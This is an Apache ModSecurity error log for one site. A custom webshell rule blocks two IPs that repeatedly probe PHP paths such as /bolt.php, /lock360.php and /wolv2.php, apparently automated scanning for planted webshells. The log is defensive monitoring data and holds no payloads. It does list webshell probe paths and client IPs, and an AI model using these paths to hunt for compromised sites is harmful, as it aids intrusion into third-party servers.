[Mon Apr 06 18:46:05.355957 2026] [:error] [pid 35688:tid 35754] [client 51.103.121.89:44060] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO7eZ85qg4jLsRpQxuWAAAAIQ"]
[Mon Apr 06 18:46:05.658768 2026] [:error] [pid 10280:tid 10305] [client 172.213.138.9:34642] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO7V8QUJkf8g-BFfPLBwAAAdY"]
[Mon Apr 06 18:46:07.729036 2026] [:error] [pid 9442:tid 9457] [client 172.213.138.9:39172] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO70PsNnAJTnmz6saBqgAAAQ0"]
[Mon Apr 06 18:46:08.672401 2026] [:error] [pid 35688:tid 35765] [client 172.213.138.9:50354] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO8OZ85qg4jLsRpQxuZQAAAI8"]
[Mon Apr 06 18:46:09.436676 2026] [:error] [pid 35687:tid 35739] [client 172.213.138.9:55110] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO8Z3LtDozV0i8BitaTgAAAFA"]
[Mon Apr 06 18:46:10.200953 2026] [:error] [pid 38562:tid 38576] [client 51.103.121.89:33956] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO8qeD6Ohe6wzRuy5mmAAAAUs"]
[Mon Apr 06 18:46:10.707452 2026] [:error] [pid 35688:tid 35767] [client 172.213.138.9:39170] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO8uZ85qg4jLsRpQxuawAAAJE"]
[Mon Apr 06 18:46:11.585062 2026] [:error] [pid 9442:tid 9468] [client 172.213.138.9:55109] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/manager.php"] [unique_id "adOO80PsNnAJTnmz6saBsQAAARg"]
[Mon Apr 06 18:46:12.707784 2026] [:error] [pid 9442:tid 9450] [client 172.213.138.9:33819] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/manager.php"] [unique_id "adOO9EPsNnAJTnmz6saBtgAAAQY"]
[Mon Apr 06 18:46:13.271900 2026] [:error] [pid 9442:tid 9445] [client 51.103.121.89:39533] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO9UPsNnAJTnmz6saBugAAAQE"]
[Mon Apr 06 18:46:15.338681 2026] [:error] [pid 38562:tid 38588] [client 51.103.121.89:39517] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO96eD6Ohe6wzRuy5mogAAAVc"]
[Mon Apr 06 18:46:17.163837 2026] [:error] [pid 38562:tid 38583] [client 51.103.121.89:5992] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO-aeD6Ohe6wzRuy5mpwAAAVI"]
[Mon Apr 06 18:46:18.712250 2026] [:error] [pid 9413:tid 9423] [client 51.103.121.89:6009] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO-nllvEK3chn01wG2zgAAAYg"]
[Mon Apr 06 18:46:19.507483 2026] [:error] [pid 1827:tid 1847] [client 51.103.121.89:49720] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adOO--Veb6S_DnjZ2xH3owAAAhI"]
[Mon Apr 06 18:46:20.420520 2026] [:error] [pid 9442:tid 9461] [client 51.103.121.89:54761] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/manager.php"] [unique_id "adOO_EPsNnAJTnmz6saBywAAARE"]
[Mon Apr 06 18:46:21.065859 2026] [:error] [pid 10280:tid 10301] [client 51.103.121.89:49725] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/manager.php"] [unique_id "adOO_V8QUJkf8g-BFfPLIQAAAdI"]
[Mon Apr 06 18:46:21.613771 2026] [:error] [pid 35688:tid 35757] [client 51.103.121.89:48783] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/manager.php"] [unique_id "adOO_eZ85qg4jLsRpQxuiwAAAIc"]
[Mon Apr 06 18:46:22.527738 2026] [:error] [pid 38562:tid 38565] [client 51.103.121.89:39484] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/manager.php"] [unique_id "adOO_qeD6Ohe6wzRuy5mrgAAAUA"]
[Mon Apr 06 18:46:23.847290 2026] [:error] [pid 9442:tid 9461] [client 51.103.121.89:48466] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "adOO_0PsNnAJTnmz6saB0gAAARE"]
[Mon Apr 06 18:46:26.380645 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:45584] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "adOPAkPsNnAJTnmz6saB4QAAAQ4"]
[Mon Apr 06 18:46:27.504712 2026] [:error] [pid 35686:tid 35703] [client 51.103.121.89:52673] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "adOPA8MKdea6oORd2fzDXwAAAAc"]
[Mon Apr 06 18:46:28.285280 2026] [:error] [pid 9442:tid 9447] [client 51.103.121.89:5993] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "adOPBEPsNnAJTnmz6saB6QAAAQM"]
[Mon Apr 06 18:46:30.120406 2026] [:error] [pid 35688:tid 35774] [client 51.103.121.89:40348] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "adOPBuZ85qg4jLsRpQxurAAAAJg"]
[Mon Apr 06 18:46:31.830520 2026] [:error] [pid 35686:tid 35705] [client 51.103.121.89:39542] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "adOPB8MKdea6oORd2fzDYAAAAAk"]
[Mon Apr 06 18:46:34.077544 2026] [:error] [pid 9413:tid 9429] [client 172.213.138.9:39184] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPCnllvEK3chn01wG22QAAAY4"]
[Mon Apr 06 18:46:34.162244 2026] [:error] [pid 35688:tid 35774] [client 51.103.121.89:49325] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "adOPCuZ85qg4jLsRpQxuxAAAAJg"]
[Mon Apr 06 18:46:35.681155 2026] [:error] [pid 35688:tid 35755] [client 172.213.138.9:39180] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPC-Z85qg4jLsRpQxuxwAAAIU"]
[Mon Apr 06 18:46:35.910489 2026] [:error] [pid 35688:tid 35768] [client 51.103.121.89:37660] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "adOPC-Z85qg4jLsRpQxuyAAAAJI"]
[Mon Apr 06 18:46:36.608955 2026] [:error] [pid 35688:tid 35768] [client 172.213.138.9:55120] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPDOZ85qg4jLsRpQxuzgAAAJI"]
[Mon Apr 06 18:46:37.492646 2026] [:error] [pid 10280:tid 10305] [client 51.103.121.89:52609] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "adOPDV8QUJkf8g-BFfPLOgAAAdY"]
[Mon Apr 06 18:46:37.671308 2026] [:error] [pid 35688:tid 35771] [client 172.213.138.9:46214] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adOPDeZ85qg4jLsRpQxu2AAAAJU"]
[Mon Apr 06 18:46:38.602265 2026] [:error] [pid 38562:tid 38576] [client 51.103.121.89:40355] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "adOPDqeD6Ohe6wzRuy5muwAAAUs"]
[Mon Apr 06 18:46:38.849161 2026] [:error] [pid 9442:tid 9458] [client 172.213.138.9:46233] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPDkPsNnAJTnmz6saB_wAAAQ4"]
[Mon Apr 06 18:46:40.379703 2026] [:error] [pid 38562:tid 38589] [client 172.213.138.9:34413] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPEKeD6Ohe6wzRuy5mvAAAAVg"]
[Mon Apr 06 18:46:42.015751 2026] [:error] [pid 35688:tid 35767] [client 172.213.138.9:34402] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPEuZ85qg4jLsRpQxu6QAAAJE"]
[Mon Apr 06 18:46:43.876318 2026] [:error] [pid 35688:tid 35758] [client 172.213.138.9:35017] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adOPE-Z85qg4jLsRpQxu9AAAAIg"]
[Mon Apr 06 18:46:46.264779 2026] [:error] [pid 35686:tid 35715] [client 172.213.138.9:55169] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPFsMKdea6oORd2fzDYgAAABM"]
[Mon Apr 06 18:46:47.800898 2026] [:error] [pid 35688:tid 35768] [client 172.213.138.9:55456] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPF-Z85qg4jLsRpQxvBAAAAJI"]
[Mon Apr 06 18:46:48.639250 2026] [:error] [pid 9442:tid 9463] [client 172.213.138.9:55203] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPGEPsNnAJTnmz6saCEwAAARM"]
[Mon Apr 06 18:46:49.732794 2026] [:error] [pid 10280:tid 10284] [client 172.213.138.9:35841] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adOPGV8QUJkf8g-BFfPLPQAAAcE"]
[Mon Apr 06 18:46:50.259481 2026] [:error] [pid 38562:tid 38589] [client 172.213.138.9:54852] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPGqeD6Ohe6wzRuy5mxgAAAVg"]
[Mon Apr 06 18:46:51.208500 2026] [:error] [pid 9442:tid 9448] [client 172.213.138.9:55447] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPG0PsNnAJTnmz6saCHAAAAQQ"]
[Mon Apr 06 18:46:52.183302 2026] [:error] [pid 1827:tid 1847] [client 172.213.138.9:34387] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPHOVeb6S_DnjZ2xH3wgAAAhI"]
[Mon Apr 06 18:46:53.068989 2026] [:error] [pid 38562:tid 38585] [client 172.213.138.9:32546] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPHaeD6Ohe6wzRuy5myQAAAVQ"]
[Mon Apr 06 18:46:53.647589 2026] [:error] [pid 10280:tid 10302] [client 172.213.138.9:35065] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPHV8QUJkf8g-BFfPLSgAAAdM"]
[Mon Apr 06 18:46:54.501250 2026] [:error] [pid 35687:tid 35733] [client 172.213.138.9:55167] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPHp3LtDozV0i8BitaXQAAAEo"]
[Mon Apr 06 18:46:55.302830 2026] [:error] [pid 1827:tid 1850] [client 172.213.138.9:55465] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPH-Veb6S_DnjZ2xH3yAAAAhU"]
[Mon Apr 06 18:46:56.095030 2026] [:error] [pid 38562:tid 38582] [client 172.213.138.9:46248] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "adOPIKeD6Ohe6wzRuy5mzgAAAVE"]
[Mon Apr 06 18:46:57.572412 2026] [:error] [pid 35688:tid 35753] [client 172.213.138.9:55487] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPIeZ85qg4jLsRpQxvCwAAAIM"]
[Mon Apr 06 18:46:58.885354 2026] [:error] [pid 38562:tid 38580] [client 172.213.138.9:35056] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPIqeD6Ohe6wzRuy5m0wAAAU8"]
[Mon Apr 06 18:47:00.656785 2026] [:error] [pid 10280:tid 10290] [client 172.213.138.9:54854] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPJF8QUJkf8g-BFfPLUwAAAcc"]
[Mon Apr 06 18:47:02.121783 2026] [:error] [pid 35688:tid 35756] [client 172.213.138.9:34637] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "adOPJuZ85qg4jLsRpQxvGAAAAIY"]
[Mon Apr 06 18:47:02.721590 2026] [:error] [pid 1827:tid 1836] [client 51.103.121.89:52680] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPJuVeb6S_DnjZ2xH30gAAAgc"]
[Mon Apr 06 18:47:03.294481 2026] [:error] [pid 35686:tid 35716] [client 172.213.138.9:34407] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPJ8MKdea6oORd2fzDaQAAABQ"]
[Mon Apr 06 18:47:03.960541 2026] [:error] [pid 35688:tid 35761] [client 51.103.121.89:42229] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPJ-Z85qg4jLsRpQxvHQAAAIs"]
[Mon Apr 06 18:47:05.044741 2026] [:error] [pid 35688:tid 35767] [client 172.213.138.9:34624] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolv2.php"] [unique_id "adOPKeZ85qg4jLsRpQxvKQAAAJE"]
[Mon Apr 06 18:47:05.166837 2026] [:error] [pid 38562:tid 38568] [client 51.103.121.89:5531] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adOPKaeD6Ohe6wzRuy5m3gAAAUM"]
